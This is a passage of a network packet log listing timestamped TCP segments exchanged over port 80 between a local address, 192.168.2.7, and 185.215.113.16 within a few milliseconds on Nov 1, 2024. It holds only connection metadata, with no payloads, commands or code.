Nov 1, 2024 12:14:38.841720104 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841763020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841764927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841766119 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841797113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841809988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841829062 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841842890 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841856003 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841857910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841857910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841880083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841897011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841901064 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841901064 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841911077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841922998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841933966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841939926 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841939926 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841948032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841960907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841967106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841974020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842008114 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842008114 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842037916 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842051029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842061043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842071056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842077971 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842083931 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842097044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842107058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842108965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842130899 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842140913 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842163086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842169046 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842175961 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842186928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842186928 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842214108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842216969 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842231989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842245102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842246056 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842266083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842283964 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842283964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842298985 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842308998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842320919 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842328072 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842328072 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842334986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842348099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842360020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842361927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842386007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842396021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842406988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842418909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842430115 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842438936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842438936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842470884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842506886 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842540979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842552900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842576981 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842576981 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842592955 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842628002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842684031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842689037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842696905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842734098 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842744112 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842750072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842762947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842814922 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842824936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842837095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842853069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842878103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842889071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842899084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842899084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842905045 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842924118 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842930079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842945099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842957020 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842977047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842989922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.842997074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842997074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.842999935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843014956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843036890 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843036890 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843071938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843075991 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843094110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843106031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843116999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843128920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843133926 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843133926 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843142033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843168974 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843168974 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843170881 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843198061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843210936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843225002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843225002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843236923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843250036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843257904 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843262911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843276978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843293905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843322992 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843332052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843332052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843338013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843350887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843363047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843365908 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843374968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843404055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843401909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843401909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843422890 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843435049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843437910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843451023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843456030 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843461990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843468904 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843507051 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843523026 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843529940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843549013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843560934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843574047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843574047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843595982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843597889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843611002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843617916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843622923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843656063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843667030 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843667984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843667030 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843679905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843693018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843703985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843704939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843719006 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843719006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843732119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843743086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843743086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843772888 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843772888 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843772888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843786955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843800068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843846083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843846083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843872070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843883991 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843897104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843909025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843928099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843962908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843970060 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843971014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.843975067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.843987942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844000101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844001055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844013929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844033957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844050884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844059944 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844073057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844085932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844096899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844109058 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844120979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844125986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844125986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844172955 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844172955 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844183922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844193935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844199896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844223976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844233036 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844237089 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844258070 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844270945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844291925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844310045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844310999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844310045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844325066 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844336987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844347000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844357014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844357014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844361067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844373941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844384909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844389915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844417095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844425917 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844425917 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844432116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844444990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844460011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844463110 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844471931 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844482899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844496012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844513893 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844513893 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844527960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844547987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844567060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844573975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844573975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844580889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844593048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844614029 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844614029 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844649076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844670057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844681025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844692945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844705105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844717979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844727039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844731092 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844743967 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844768047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844768047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844773054 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844786882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844789028 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844801903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844815016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844831944 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844831944 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844835997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844850063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844851017 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844862938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844881058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844881058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844907045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.844939947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844988108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.844994068 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845000029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845037937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845048904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845053911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845053911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845065117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845077038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845077991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845094919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845175028 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845202923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845215082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845222950 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845222950 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845246077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845257998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845262051 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845262051 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845271111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845283985 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845293999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845303059 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845303059 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845324993 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845326900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845340967 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845354080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845366001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845376968 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845376968 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845401049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845453024 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845463037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845464945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845478058 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845489979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845503092 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845511913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845511913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845515013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845527887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845540047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845551968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.845551968 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845551968 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845590115 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.845613003 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846374989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846411943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846424103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846451998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846457005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846457005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846465111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846478939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846479893 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846507072 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846508026 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846533060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846537113 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846545935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846559048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846571922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846590042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846590996 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846607924 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.846682072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846694946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846705914 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846719980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.846733093 CET	80	49979	185.215.113.16	192.168.2.7
